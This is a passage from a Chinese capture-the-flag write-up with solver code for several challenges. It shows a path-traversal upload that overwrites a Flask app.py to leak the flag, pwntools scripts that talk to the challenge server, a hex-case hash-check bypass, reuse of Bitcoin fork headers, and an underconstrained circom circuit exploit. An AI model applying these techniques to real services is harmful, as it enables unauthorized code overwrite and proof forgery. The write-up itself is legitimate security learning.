    key=key.split(':')[-1].strip()
    key=bytes.fromhex(key)
    rawdata=decrypt_and_decompress(mess,key)
    # print(rawdata)

f=open('data','w')
f.write(rawdata)
f.close()

r.stdin.write(b"\n")
r.stdin.flush()

#wait r exit
r.wait()

f=open('result','r')
data=f.read()
f.close()

if diff!=4:
    s.sendlineafter('Enter your answer: ',data)
    s.interactive()
else:
    s.sendlineafter('Enter SHA-256 hash ',hashlib.sha256(data.encode('utf-8')).hexdigest())
    s.sendlineafter('Enter your answer: ',data)
    s.interactive()
#include<iostream>
#include<algorithm>
#include<bitset>
#include<vector>
using namespace std;

typedef unsigned short u16;

const int N=149;


struct myBS
{
    vector<u16> v;//orded
    myBS()
    {}
    myBS(u16 x)
    {
        v.push_back(x);
    }
    myBS operator^(const myBS &a)
    {
        //use two pointers to iterate through the two vectors
        myBS res;
        int i=0, j=0;
        while(i<v.size() && j<a.v.size())
        {
            if(v[i]==a.v[j])
            {
                i++;
                j++;
            }
            else if(v[i]<a.v[j])
            {
                res.v.push_back(v[i]);
                i++;
            }
            else
            {
                res.v.push_back(a.v[j]);
                j++;
            }
        }
        while(i<v.size())
        {
            res.v.push_back(v[i]);
            i++;
        }
        while(j<a.v.size())
        {
            res.v.push_back(a.v[j]);
            j++;
        }
        return res;
    }
    bool testheadhas(u16 x)
    {
        if(v.size()==0)
            return false;
        if(v[0]==x)
            return true;
        return v.size()>1 && v[1]==x;
    }
    bitset<2*N*N> tobs2()
    {
        bitset<2*N*N> res;
        for(int i=0;i<v.size();i++)
        {
            res[v[i]]=1;
        }
        return res;
    }
};


int fxx[7]={0,0,0,0,0,-1,1};
int fxy[7]={0,0,0,-1,1,0,0};
int fxz[7]={0,-1,1,0,0,0,0};
bool isvalid(int x, int y, int z)
{
    return x>=0 && x<N && y>=0 && y<N && z>=0 && z<N;
}

myBS op[4][N][N];

// myBS cons[N*N];//eqs

bitset<2*N*N> cons[N*N];

int frees[N*N];
int cnt=0;

int main()
{
    for(int j=0;j<N;j++)
    {
        for(int k=0;k<N;k++)
        {
            op[0][j][k]=myBS(j*N+k);
        }
    }
    for(int i=0;i<N-1;i++)
    {
        cout<<"LAYER "<<i<<endl;
        int nl = (i+1)&3;
        for(int j=0;j<N;j++)
        {
            for(int k=0;k<N;k++)
            {
                op[nl][j][k]=myBS();
                for(int f=0;f<6;f++)
                {
                    int a=i+fxx[f], b=j+fxy[f], c=k+fxz[f];
                    if(!isvalid(a,b,c))
                        continue;
                    op[nl][j][k]=op[nl][j][k]^op[a&3][b][c];
                }
            }
        }
    }
    for(int j=0;j<N;j++)
    {
        for(int k=0;k<N;k++)
        {
            myBS o=myBS();
            for(int f=0;f<6;f++)
            {
                int a=N-1+fxx[f], b=j+fxy[f], c=k+fxz[f];
                if(!isvalid(a,b,c))
                    continue;
                o=o^op[a&3][b][c];
            }
            cons[j*N+k]=o.tobs2();
        }
    }

    //gauss elimination with free variables
    //init
    for(int i=0;i<N*N;i++)
    {
        cons[i][i+N*N]=1;
    }

    cout<<"Gauss Elimination"<<endl;

    //elimination
    for(int i=0;i<N*N;i++)
    {
        cout<<i<<endl;
        //find the first row with i-th bit
        int j=i;
        // while(j<N*N && cons[j].v[0]!=i)
        //     j++;
        while(j<N*N && !cons[j][i])
            j++;
        if(j==N*N)
        {
            j=0;
            while(j<cnt && !cons[frees[j]][i])
                j++;
            if(j==cnt)
            {
                cout<<"error free "<<i<<endl;
                frees[cnt++]=i;
                continue;
            }
            j=frees[j];
        }
        swap(cons[i], cons[j]);
        for(j=0;j<N*N;j++)
        {
            if(j==i)
                continue;
            // if(cons[j].testheadhas(i))
            if(cons[j][i])
            {
                cons[j]=cons[j]^cons[i];
            }
        }
    }

    cout<<"Free variables: "<<cnt<<endl;

    //write to file in binary
    cout<<"Write to file"<<endl;
    FILE *fout=fopen("sols.bin", "wb");
    fwrite(&N, 4, 1, fout);
    fwrite(&cnt, 4, 1, fout);
    fwrite(frees, 4, cnt, fout);
    for(int i=0;i<N*N;i++)
    {
        for(int j=0;j<2*N*N;j+=8)
        {
            unsigned char c=0;
            for(int k=0;k<8;k++)
            {
                c<<=1;
                c|=cons[i][j+k];
            }
            fwrite(&c, 1, 1, fout);
        }
    }
    return 0;
}
#include<iostream>
#include<algorithm>
#include<bitset>
#include<vector>
using namespace std;

typedef unsigned short u16;

const int N=149;

int fxx[7]={0,0,0,0,0,-1,1};
int fxy[7]={0,0,0,-1,1,0,0};
int fxz[7]={0,-1,1,0,0,0,0};
bool isvalid(int x, int y, int z)
{
    return x>=0 && x<N && y>=0 && y<N && z>=0 && z<N;
}

bool cube[N][N][N];
bool curv[N][N][N];

bitset<2*N*N> cons[N*N];
int frees[N*N];
int cnt;
bool isfree[N*N];

bool conv[N*N];

bool vars[N*N];

bool fullop[N][N][N];

bool checker[N][N][N];

int main()
{
    //read sols.bin
    FILE *f=fopen("sols.bin","rb");
    int n;
    fread(&n,4,1,f);
    if(n!=N)
    {
        cout<<"N not match"<<endl;
        return 0;
    }
    fread(&cnt,4,1,f);
    fread(frees,4,cnt,f);
    for(int i=0;i<cnt;i++)
    {
        isfree[frees[i]]=1;
    }
    for(int i=0;i<N*N;i++)
    {
        for(int j=0;j<2*N*N;j+=8)
        {
            unsigned char c=0;
            fread(&c,1,1,f);
            for(int k=7;k>=0;k--)
            {
                cons[i][j+k]=c&1;
                c>>=1;
            }
        }
    }
    getchar();//wait for signal
    //read data from data
    FILE *fin=fopen("data","rb");
    for(int i=0;i<N;i++)
    {
        for(int j=0;j<N;j++)
        {
            for(int k=0;k<N;k++)
            {
                char c;
                fread(&c,1,1,fin);
                cube[i][j][k]=c=='1';
            }
        }
    }

    for(int i=0;i<N-1;i++)
    {
        cout<<"LAYER "<<i<<endl;
        for(int j=0;j<N;j++)
        {
            for(int k=0;k<N;k++)
            {
                curv[i+1][j][k]=cube[i][j][k];
                for(int f=0;f<6;f++)
                {
                    int a=i+fxx[f], b=j+fxy[f], c=k+fxz[f];
                    if(!isvalid(a,b,c))
                        continue;
                    curv[i+1][j][k]=curv[i+1][j][k]^curv[a][b][c];
                }
            }
        }
    }
    for(int j=0;j<N;j++)
    {
        for(int k=0;k<N;k++)
        {
            bool o=cube[N-1][j][k];
            for(int f=0;f<6;f++)
            {
                int a=N-1+fxx[f], b=j+fxy[f], c=k+fxz[f];
                if(!isvalid(a,b,c))
                    continue;
                o=o^curv[a][b][c];
            }
            conv[j*N+k]=o;
        }
    }

    //work on cons
    for(int i=0;i<N*N;i++)
    {
        bool cst=0;
        for(int j=0;j<N*N;j++)
        {
            if(cons[i][j+N*N])
            {
                cst^=conv[j];
            }
        }
        if(cons[i][i]==0)
        {
            if(!isfree[i] || cst!=0)
            {
                cout<<"error "<<i<<endl;
                return 0;
            }
            continue;
        }
        vars[i]=cst;
    }

    cout<<"Gauss Elimination Finished"<<endl;

    //recover full operation
    for(int i=0;i<N;i++)
    {
        for(int j=0;j<N;j++)
        {
            fullop[0][i][j]=vars[i*N+j];
        }
    }
    for(int i=0;i<N-1;i++)
    {
        cout<<"LAYER "<<i<<endl;
        for(int j=0;j<N;j++)
        {
            for(int k=0;k<N;k++)
            {
                fullop[i+1][j][k]=cube[i][j][k];
                for(int f=0;f<6;f++)
                {
                    int a=i+fxx[f], b=j+fxy[f], c=k+fxz[f];
                    if(!isvalid(a,b,c))
                        continue;
                    fullop[i+1][j][k]=fullop[i+1][j][k]^fullop[a][b][c];
                }
            }
        }
    }

    //output to file
    FILE *fout=fopen("result","w");
    for(int i=0;i<N;i++)
    {
        for(int j=0;j<N;j++)
        {
            for(int k=0;k<N;k++)
            {
                char ok = fullop[i][j][k]?'1':'0';
                fwrite(&ok,1,1,fout);
            }
        }
    }

    cout<<"Checking"<<endl;

    //check
    for(int i=0;i<N;i++)
    {
        for(int j=0;j<N;j++)
        {
            for(int k=0;k<N;k++)
            {
                checker[i][j][k]=cube[i][j][k];
                for(int f=0;f<7;f++)
                {
                    int a=i+fxx[f], b=j+fxy[f], c=k+fxz[f];
                    if(!isvalid(a,b,c))
                        continue;
                    checker[i][j][k]=checker[i][j][k]^fullop[a][b][c];
                }
                if(checker[i][j][k]!=0)
                {
                    cout<<"error "<<i<<" "<<j<<" "<<k<<endl;
                    // return 0;
                }
            }
        }
    }
}

0x18 禁止内卷

过了一车人的250分web题。实际上也确实不难。阅读源码,显然有一个任意上传漏洞:我们本地的文件名是什么,上传过去的文件名就是什么。这就意味着我们可以覆盖一些东西了。注意到我们可以用BurpSuite去直接改上传的包,如果我们的文件名里面有../,那么就可以直接改到父目录的东西。题目给了非常全的提示:我们上传的文件在/tmp/uploads,网站目录在/tmp/web。我们可以直接覆盖网站的代码。同时题目给了非常明显的提示:我们可以覆盖网站的python源码。而写过flask的同学都知道,网站源码的路径是app.py。因此我们修改一下py,使其可以输出flag,改文件名为../app.py上传上去即可。注意到由于我们必须从原始的json里面读内容,所以写的代码会多一点。

from flask import Flask, render_template, request, flash, redirect
import json
import os
import traceback
import secrets

app = Flask(__name__)
app.secret_key = secrets.token_urlsafe(64)

UPLOAD_DIR = "/tmp/uploads"

os.makedirs(UPLOAD_DIR, exist_ok=True)

# results is a list
try:
    with open("results.json") as f:
        results = json.load(f)
except FileNotFoundError:
    results = []
    with open("results.json", "w") as f:
        json.dump(results, f)


def get_answer():
    # scoring with answer
    # I could change answers anytime so let's just load it every time
    with open("answers.json") as f:
        answers = json.load(f)
        # sanitize answer
        for idx, i in enumerate(answers):
            if i < 0:
                answers[idx] = 0
    return answers

def get_flag():
    with open("answers.json") as f:
        answers = json.load(f)
    return bytes([i + 65 for i in answers])


@app.route("/", methods=["GET"])
def index():
    return render_template("index.html", results=sorted(results))


@app.route("/submit", methods=["POST"])
def submit():
    if "file" not in request.files or request.files['file'].filename == "":
        # flash("你忘了上传文件")
        ans = get_flag()
        flash(f"答案是 {ans}")
        return redirect("/")
    file = request.files['file']
    filename = file.filename
    filepath = os.path.join(UPLOAD_DIR, filename)
    file.save(filepath)

    answers = get_answer()
    try:
        with open(filepath) as f:
            user = json.load(f)
    except json.decoder.JSONDecodeError:
        flash("你提交的好像不是 JSON")
        return redirect("/")
    try:
        score = 0
        for idx, i in enumerate(answers):
            score += (i - user[idx]) * (i - user[idx])
    except:
        flash("分数计算出现错误")
        traceback.print_exc()
        return redirect("/")
    # ok, update results
    results.append(score)
    with open("results.json", "w") as f:
        json.dump(results, f)
    flash(f"评测成功,你的平方差为 {score}")
    return redirect("/")

0x19 我们的快排確有問題

也是我没做的题。但我还要说两句。这题我看到一眼就知道切入点了:qsort对于不满足偏序的cmp函数有严重的溢出漏洞,可能会造成任意执行。这是当年一个比较有意思的新闻了。不过真正rce的触发还是比较难的,所以评分没有超高。可以参考 https://packetstormsecurity.com/files/176931/glibc-qsort-Out-Of-Bounds-Read-Write.html

另外这题居然没有其他比赛出过我还是挺纳闷的。本来我想能不能直接抄个差不多的exp改一改,但发现没有。考虑到我的二进制水平还不够高,做出来大概会要比较长时间,于是我就跑路了。

0x1A 图灵完备的浮点数减法

一眼:这不是抄我们PKU ICS的题目吗。再一看,不是。题目要只用浮点数减法(可以引用变量和插入常量,当然也很容易构造加法)操作实现SHA256。不难找到 https://orlp.net/blog/subtraction-is-functionally-complete/。很不幸的,又不是,因为+0 -0的运算性质太差了,很难和正常int表示来回转换。但我们不难注意到浮点数的舍入操作是非常有意义的:四舍六入五取双相当于是做了个条件判断,当计算精度钱后发生变化(比如到某个精度的最大值)时舍入的具体行为会非常好玩,因为会根据一些不能被存入的一些小数位做判断,如果是多次计算多次取整后会产生有趣的结果。例如我们可以尝试一下以下操作:

>>> a0=2**52
>>> a1=a0+1
>>> f0=float(a0)
>>> f1=float(a1)
>>>
>>> f1+f1-f0*2
2.0
>>> f1+f0-f0*2
0.0
>>> f1+f1-f0-0.6+0.4-f0
1.0
>>> f1+f0-f0-0.6+0.4-f0
0.0

注意到我们用这一坨东西已经实现了保域的AND操作了(即输入输出都是0或1)。实现NOT显然也不难。因此已经可以实现任意布尔电路了。

显然我们可以直接网上找一个别人写的SHA256电路。找256 to 256的,不难发现 https://github.com/matteocam/sha256-circuit/blob/master/sha256PaddedFor256BitInputs.txt 。这个格式的文档可以参照 https://biulibscapi.readthedocs.io/en/latest/circuits.html#multi-party-boolean-circuit。不难实现一个简单的模拟器来确认电路符合需求。

from hashlib import sha256
import os

f=open("cir1.txt","r")
cir=f.read().strip()
f.close()

lns = cir.split("\n")
print(len(lns))
ngates = int(lns[0].split(" ")[0])
vals = int(lns[0].split(" ")[1])
lns=lns[2:]
assert len(lns) == ngates

# testinput = b"\x00"*32
# testinputarr = [0]*256

testinput = os.urandom(32)
testinputarr = [int(testinput[i//8] & (1<<(7-i%8)) > 0) for i in range(256)]


nowv = {}

for i in range(256):
    nowv[i] = testinputarr[i]

#sim
for l in lns:
    ops = l.split(" ")
    cnti,cnto=int(ops[0]),int(ops[1])
    if ops[-1] == "INV":
        inp = int(ops[2])
        out = int(ops[3])
        nowv[out] = 1 - nowv[inp]
    elif ops[-1] == "AND":
        inp1 = int(ops[2])
        inp2 = int(ops[3])
        out = int(ops[4])
        nowv[out] = nowv[inp1] & nowv[inp2]
    elif ops[-1] == "XOR":
        inp1 = int(ops[2])
        inp2 = int(ops[3])
        out = int(ops[4])
        nowv[out] = nowv[inp1] ^ nowv[inp2]
    else:
        assert False


for i in range(256):
    print(nowv[vals-256+i],end="")

print()



shaval = sha256(testinput).hexdigest()
#print in bin
print("".join([bin(int(x,16))[2:].zfill(4) for x in shaval]))

之后再考虑如何int2bin和bin2int。后者显然非常简单(用多次加法去做快速乘的常数乘法然后再相加即可)。前者,我们可以使用1+x+float(2**60)-float(2**60)提取出最高位,后面的可以以此类推。但是这个做法提取出来的bit是带幂指数的,不是我们想要的0/1。我们可以使用上述类似的从0/2变成0/1的特技进行降幂。一次只能降低一个幂。例如:

>>> bc=float(2**59)
>>> 256+bc-65+63-bc
128.0
>>> 0+bc-65+63-bc
0.0

此时理论上我们已经能过该题了。但是注意到原始电路中XOR操作用NAND实现的话需要的实际浮点gate数非常大,可能会有20倍左右的放大,过不了本题(本题限制一百万,原始电路大小十万多)。因此我们需要优化一下XOR运算。既然我们能用加减法,我们直接使用a+b-2*(a&b)计算就好了。注意到我们求AND操作内有一个把2/0归约到1/0的等价/2的操作,而这个时候我们正好需要乘回去。因此我们把AND中从2/0规约1/0部分都删掉,就自然的完成了乘二,还非常省gates。最终消耗五十万多。

我们把电路转化程序写好,即可通过本题:

from hashlib import sha256
import os
from pwn import *

token = ""

def run_program(program, data, output_size):
    mem = [float(b) for b in data]
    for line in program:
        if isinstance(line, float):
            mem.append(line)
        else:
            index0, index1 = line
            assert index0 in range(len(mem)), 'Index out of range'
            assert index1 in range(len(mem)), 'Index out of range'
            mem.append(mem[index0] - mem[index1])
    assert len(mem) >= output_size
    output = []
    for x in mem[-output_size:]:
        b = int(x)
        assert float(b) == x, 'Output is not an integer'
        assert b in range(256), 'Output not in range'
        output.append(b)
    return bytes(output)

ind2tag = []
tag2ind = {}

def newmem(tag=None):
    ind = len(ind2tag)
    if tag is None:#tmp
        tag = "t"+str(ind)
    ind2tag.append(tag)
    tag2ind[tag] = ind
    return ind,tag

cmds=[]

def newvar(var,tag=None):
    ind,tag=newmem(tag)
    cmds.append(float(var))
    return tag

def newop(tag0,tag1,tag=None):
    #tag0 - tag1
    ind,tag=newmem(tag)
    cmds.append((tag2ind[tag0],tag2ind[tag1]))
    return tag

for i in range(32):
    newmem("rawi"+str(i))

VAR0=newvar(0)
VAR1=newvar(1)
NVAR1=newvar(-1)
POW2=[]
#POW2[0] = 2**52 POW[8]=2**60
for i in range(9):
    POW2.append(newvar(2**(52+i)))
NPOW2=[]
for i in range(9):
    NPOW2.append(newvar(-2**(52+i)))

NPOW2DEC=[]
#POW2INC[0] = 0.4 POW2INC[8]=0.4*2**8
for i in range(9):
    NPOW2DEC.append(newvar(-0.4*(1<<i)))
POW2INC=[]
#POW2INC[0] = 0.6 POW2INC[8]=0.6*2**8
for i in range(9):
    POW2INC.append(newvar(0.6*(1<<i)))

realinput = []
for ibyte in range(32):
    curitag="rawi"+str(ibyte)
    lastag = curitag
    curbittags = []
    for idxbit in range(8):
        ibit = 7-idxbit
        t1 = newop(lastag,NVAR1)
        t2 = newop(t1,NPOW2[ibit+1])
        t3 = newop(t2,POW2[ibit+1])#not normalized
        curbittags.append(t3)

        #shift 1 bits
        for i in range(len(curbittags)):
            nv = curbittags[i]
            t1 = newop(nv,NPOW2[ibit])
            t2 = newop(t1,POW2INC[ibit])
            t3 = newop(t2,NPOW2DEC[ibit])
            t4 = newop(t3,POW2[ibit])
            curbittags[i] = t4
        
        #update lastag
        lastag = newop(lastag,curbittags[-1])
    for i in range(len(curbittags)):
        realinput.append(curbittags[i])

#upd output
test1=False
if test1:
    for i in range(256):
        newop(realinput[i],VAR0)

    #test bit split
    tinput = os.urandom(32)
    toutput = run_program(cmds,tinput,256)

    myout="".join(map(str,list(toutput)))

    #bitsplit tinput
    stdout=bin(int.from_bytes(tinput,byteorder='big'))[2:].zfill(256)

    print(myout)
    print(stdout)
    print(myout==stdout)
    exit(0)

FD0 = POW2[0]
NFD0 = NPOW2[0]
FD1 = newvar(2**52+1)
NFD1 = newvar(-(2**52+1))

FDD0 = POW2[1]
NFDD0 = NPOW2[1]

#to field element

for i in range(256):
    newop(realinput[i],NFD0,"c"+str(i))

def donot(tag0,tag=None):
    t1 = newop(FDD0,tag0)
    return newop(t1,NVAR1,tag)

def doand(tag0,tag1,tag=None):
    t1 = newop(VAR0,tag1)
    t2 = newop(tag0,t1)
    t3 = newop(t2,FD0)
    t4 = newop(t3,POW2INC[0])
    return newop(t4,NPOW2DEC[0],tag)

def doxor(tag0,tag1,tag=None):

    # t1 = doand(tag0,donot(tag1))
    # t2 = doand(donot(tag0),tag1)
    # return newop(t1,newop(FD0,t2),tag)

    # tp = donot(doand(tag0,tag1))
    # ta = donot(doand(tag0,tp))
    # tb = donot(doand(tag1,tp))
    # return donot(doand(ta,tb),tag)

    #a+b-(a&b)-(a&b)   do not /2 when and
    t1 = newop(VAR0,tag1)
    t2 = newop(tag0,t1)
    t3 = newop(t2,FD0)
    return newop(tag0,newop(t3,tag1),tag)


f=open("cir1.txt","r")
cir=f.read().strip()
f.close()

lns = cir.split("\n")
print(len(lns))
ngates = int(lns[0].split(" ")[0])
vals = int(lns[0].split(" ")[1])
lns=lns[2:]
assert len(lns) == ngates

for l in lns:
    ops = l.split(" ")
    cnti,cnto=int(ops[0]),int(ops[1])
    if ops[-1] == "INV":
        inp = int(ops[2])
        out = int(ops[3])
        donot("c"+str(inp),"c"+str(out))
    elif ops[-1] == "AND":
        inp1 = int(ops[2])
        inp2 = int(ops[3])
        out = int(ops[4])
        doand("c"+str(inp1),"c"+str(inp2),"c"+str(out))
    elif ops[-1] == "XOR":
        inp1 = int(ops[2])
        inp2 = int(ops[3])
        out = int(ops[4])
        doxor("c"+str(inp1),"c"+str(inp2),"c"+str(out))
    else:
        assert False

test2=False
if test2:
    for i in range(256):
        newop("c"+str(vals-256+i),FD0)
    
    # tinput = b"\x00"*32
    tinput = os.urandom(32)
    toutput = run_program(cmds,tinput,256)

    myout="".join(map(str,list(toutput)))
    stdout = "".join([bin(int(x,16))[2:].zfill(4) for x in sha256(tinput).hexdigest()])
    print(myout)
    print(stdout)
    print(myout==stdout)
    exit(0)

myans = []
for outb in range(32):
    pls = []
    for outi in range(8):
        inpc = "c"+str(vals-256+outb*8+outi)
        inpc = newop(inpc,FD0)
        for i in range(7-outi):
            inpc = newop(inpc,newop(VAR0,inpc))
        pls.append(inpc)
    curx = pls[0]
    for i in range(1,8):
        curx = newop(curx,newop(VAR0,pls[i]))
    myans.append(curx)

for i in range(32):
    newop(myans[i],VAR0)

print(len(cmds))

tinput = os.urandom(32)
toutput = run_program(cmds,tinput,32)

stdout = sha256(tinput).digest()

print(toutput.hex())
print(stdout.hex())
print(toutput==stdout)


s = remote('202.38.93.141', 10094)
s.sendline(token)

s.recvuntil('Your program:')
for cmd in cmds:
    if isinstance(cmd, float):
        s.sendline(f'{cmd}')
    else:
        s.sendline(f'{cmd[0]} {cmd[1]}')
s.sendline('EOF')
s.interactive()

0x1B 哈希三碰撞

下载二进制,打开ida,F5,关闭ida!

再一看,原来第一问过了一车人。仔细审一下逻辑:读入三个长度为16的hex串,要求三个串不能相同,且他们对应字节的sha256一样,之后就能直接拿到flag。仔细一看:比较的是hex串,算的是byte串。有没有可能byte串相同但是hex不同:hex用不同大小写就好了。于是拿到flag1。

AA11223344556677
Aa11223344556677
aA11223344556677

之后看了下第二问的二进制。听说gpt翻译ida反编译后代码有奇效。我试了一下,发现gpt真厉害!虽然有一些细节错误,但是并不影响我们理解题目的整个结构。具体题目结构参照官方wp,总之其实不是一个真二进制题。

第二题的运算结构是这样的:第一个flag中,题目需要先输入一个initdata,之后计算出他的哈希值,并将这个哈希值作为两个哈希计算实例的初始值。之后会有100轮,每一轮中会输入四个salt,分别对应两个实例的两个salt。之后每个实例会去计算h'=H(s1 || h || s2),同时更新实例中的值。要求每一轮两个实例对应位置的salt长度相等,但计算的h'又不能一样。最奇怪的是结尾,居然还判断了要求这两个哈希实例的前8字节相等,甚至还要和最开始输入的initdata的哈希值相等。

看到这么大(8字节,16384P)的运算量。又看到这个奇妙的哈希链计算方式。有经验(指做过几年前某个也是构造哈希碰撞的题目)的同学直接就看出来了:这不是区块链的计算方案吗,而且区块链网络确实有这么大的算力。这个哈希方案正好和BTClike项目的哈希方案匹配(虽说很难不匹配),虽然BTC中采用了双层哈希,但只要一次做两轮,第二次不传salt就好了。

再考虑到题目中对哈希的具体要求,这个场景正好对应区块链的分叉。而我们直接用现在BTC最大的分叉BCH就好。BCH当年分叉时的算力还是相当大的。我们查一下,分叉的区块是478558。我们把这个区块还有后面50个区块的信息拉下来就好了。之后写个脚本自动提交salt。不过实现的时候还是有一些细节问题的,比如说BTC填充数字时的大小端序需要注意一下。

import json
from hashlib import sha256
from pwn import *

# context.log_level='debug'

def enc(n):
    return n.to_bytes(4, 'little').hex()

def inv(h):
    return bytes.fromhex(h)[::-1].hex()

f=open("blocks.json","r")
blks=json.loads(f.read())
f.close()

r=process(['./2'])
# r=remote("202.38.93.141",10096)

# r.recvuntil("token:")
# r.sendline(token)
# r.recvuntil("Which challenge")
# r.sendline("2")


r.recvuntil("Initial data:")
block_header=blks[0][0]
b0data=enc(block_header['version'])+inv(block_header['previousblockhash'])+inv(block_header['merkleroot'])+"%s%s%s"%(enc(block_header['time']),inv(block_header['bits']),enc(block_header['nonce']))
print(sha256(sha256(bytes.fromhex(b0data)).digest()).digest()[::-1].hex())
r.sendline(sha256(bytes.fromhex(b0data)).hexdigest())

for i in range(50):
    print(i)
    blk1=blks[0][i+1]
    blk2=blks[1][i+1]
    print(blk1,blk2)
    r.recvuntil("Salt 1:")
    r.sendline(enc(blk1['version']))
    r.recvuntil("Salt 2:")
    r.sendline(inv(blk1['merkleroot'])+"%s%s%s"%(enc(blk1['time']),inv(blk1['bits']),enc(blk1['nonce'])))
    r.recvuntil("Salt 3:")
    r.sendline(enc(blk2['version']))
    r.recvuntil("Salt 4:")
    r.sendline(inv(blk2['merkleroot'])+"%s%s%s"%(enc(blk2['time']),inv(blk2['bits']),enc(blk2['nonce'])))
    r.sendline("")
    r.sendline("")
    r.sendline("")
    r.sendline("")
    r.recvuntil("Salt 4:")

r.interactive()

之后看第三题。我想明白时已经距离比赛结束不到四小时了,想了想还是睡觉更重要就没写(当时想到的是完全预期的解法,挺麻烦的;醒来后又想到一个不太预期的预期解)。这题是需要再给一个原像magic,并计算出哈希后的值。同时,我们还需要再完成100轮交互,每轮交互需要提供一个长度任意的chain。这个chain构造方式和上一问的一样。同时,这个chain的起始元素固定是magic,结束元素固定是第二问输入的initdata。每一轮交互的path之间不能完全一致(有一个不同的就好)。

首先,如果本题没有要求起始元素固定,那么我们这题可以随便做。但是既然要求了这个,我们就要回到比特币哈希内容的结构了。我们可以再考虑一下,我们的initdata可能由哪些哈希链构成。显然有我们上一问用到的区块链,准确地说是区块头部所组成的哈希链。另外我们注意到,每个区块头部还有一个哈希后的内容,为当前区块所对应交易的merkle tree root。既然我们有merkle tree了,密码学水平尚可的同学立刻就可以构造:我们每一个merkle tree的(叶子)节点,都可以生成一个可行的path,就是他所对应merkle proof。只是我们还需要让哈希链的开头是相同的,即要从一个相同的元素构造merkle proof。

我们最开始考虑传统方案,继续从比特币的数据结构入手:每个交易当然也是一坨哈希,我们这一坨哈希还能往下挖。交易数据中涉及到的哪些信息都是相同的,而且存在一个哈希原像(即initdata)。对比特币熟悉的同学立刻就知道了:比特币的地址也是一坨东西的哈希。具体是什么东西的要看地址类型。当然,这个具体实现细节要去看比特币地址格式以及BTC Sript格式了,比较麻烦我也没空仔细看。所以我们目标就变成了:如何在最近的几十个区块里面,找到100个含有相同地址的交易。但这个显然也不好搞。我们可以再尝试去挖一下交易类型。对比特币熟悉的同学又知道了:交易内部也有哈希链。具体的来说,就是每个交易中的utxo,未花费交易,指的就是当前这笔交易的资金来源,对应的是前序交易的哈希值。而一个地址给别人转账的情况下,(一部分完全固定地址的钱包)创建的交易中,会把剩下还没有花完的钱仍然发送给自己的当前地址。这也就意味着我们顺着utxo往上找,大概率会找到一系列的包含相同地址的转账。对于所有utxo链(准确地说,有向无环图中的一条链),只要有起一个元素包含了我们使用的地址,就可以被拿来生成这样的一个proof。我们只需要找到100个这样的proof就可以通过了。对于这种活跃地址,我们随便点就能点到一个,比如说 https://www.oklink.com/zh-hans/btc/tx/5ef88871b7c00e8f5bb76d0bfcab64ee5779d66d935640489f082cc3138d4f9e

传统方案固然好,看着也很靠谱,但是写起来还是太麻烦了。比赛结束后我起床和出题人交流,我突然想到了一个方案:众所周知,对于元素个数不是2的幂的merkle tree,(通常)是会在末尾填空元素的。我们把空元素作为initdata,每个为空元素的节点就可以掏出一车merkle proof了,进而完成此题。不过出题人纠正了我的说法:比特币中,无元素的处理方式不是创建一个空节点,而是拷贝一份兄弟节点。不过我们还是可以做。对于这种节点,不管是把左边作为salt1右边作为内容,还是左边作为内容右边作为salt2,都可以构造出一个合法的proof。而这种情况可能每一层都有,每一层都可以构造两个我们就可以构造指数级个proof了。用这个方法就不需要爬交易图了,很爽。

但是我还是没写。毕竟比赛结束前没想到,赶紧睡觉去了。

0x1C 零知识数独

第一关看起来是要玩数独了(虽然其实翻源码能看到点东西但我不想去搞了),先网上随便找一个dlx写的数独solver,之后写坨js把网页拉下来。注意console.log被弄没了。之后手玩一下flag1。

let cds=document.querySelector("body > div > div:nth-child(3) > div > div:nth-child(2)").childNodes;
rets=[];
for(let i=0;i<cds.length;i++){
    lv = cds[i].value;
    if(lv){
        rets.push(lv);
    }
    else{
        rets.push("0");
    }
}

rets.join(" ");

看flag2和flag3。发现flag3的数独真的是impossible的。因此我们需要从题目本身的电路/算法入手。不过我们还是先做一下flag2摸一摸工具链。

参照 https://blog.csdn.net/Tereya/article/details/135460988 。不过实际上安装完环境后只需要执行:

snarkjs wc sudoku.wasm p.json wtns.wtns
snarkjs groth16 prove sudoku.zkey wtns.wtns proof.json public.json
snarkjs groth16 verify verification_key.json public.json proof.json

当然我们要先预处理一下输入:

import json
import subprocess

f=open("r.json")
data = json.load(f)
f.close()

ob={"unsolved_grid":[[] for i in range(9)],"solved_grid":[[] for i in range(9)]}

for i in range(9):
    for j in range(9):
        ob["unsolved_grid"][i].append(data["puzzle"][i*9+j])

vals=" ".join([str(x) for x in data["puzzle"]])
p=subprocess.Popen(["./dlx"],stdin=subprocess.PIPE,stdout=subprocess.PIPE)
p.stdin.write(vals.encode()+b"\n")
p.stdin.close()

out=p.stdout.read().decode().strip()
res = [int(x) for x in out.split()]
print(res)

for i in range(9):
    for j in range(9):
        ob["solved_grid"][i].append(res[i*9+j])

f=open("p.json","w")
json.dump(ob,f)
f.close()

提交proof.json即可。

关于circom安全,可以参考 https://learnblockchain.cn/article/6811

读完之后,我们可以直接发现第三问非常显然:gt_zero_signals[i][j] <-- (solved_grid[i][j] > 0); 的判定是无效的。意味着我们可以往里面塞负数。这样的话显然大家都有解了。

不过要如果直接修改input的话跑snarkjs是会挂的。但是我们只需要把这一行换成 gt_zero_signals[i][j] <-- 1; 就可以直接生成witness了。

具体跑一下这个(网上又抄了个好改的数独程序):

#include <stdio.h>
#include <stdlib.h>
    
#define N 9

int  test (int s[N][N], int x, int y, int k);
void print(int s[N][N]);
void sudoku_try(int s[N][N], int x, int y);

int main (int argc, char *argv[])
{
    int sudoku[][N] = {
        {9, 0, 0, 0, 0, 0, 1, 0, 0},
        {8, 0, 0, 0, 0, 0, 2, 0, 0},
        {7, 0, 0, 0, 0, 0, 3, 0, 0},
        {0, 0, 1, 0, 0, 0, 0, 0, 6},
        {0, 2, 0, 0, 0, 0, 0, 7, 0},
        {0, 0, 3, 0, 0, 0, 0, 0, 0},
        {0, 1, 0, 0, 0, 0, 0, 6, 0},
        {0, 0, 2, 0, 0, 0, 0, 0, 7},
        {0, 3, 0, 0, 0, 0, 0, 0, 0},
    };
    // print(sudoku);
    
    sudoku_try(sudoku, 0, 0);
    
    return 0;
}

void sudoku_try(int s[N][N], int x, int y){
    
    int i;
    
    if ( x == N ){
        printf("\n");
        print(s);   /* 求一个解后退出,如果需 */
        exit(0);    /* 要求出所有解,怎么修改?*/
    }
    
    if ( s[x][y] == 0 ) {
        for ( i=1; i <= N+3; i++ ) {
            if ( test(s, x, y, i) ) {
                s[x][y] = i;
                sudoku_try(s, (y+1) / N + x, (y+1) % N);
            }
        }
        s[x][y] = 0; /* 请解释语句作用? */
    }
    else{
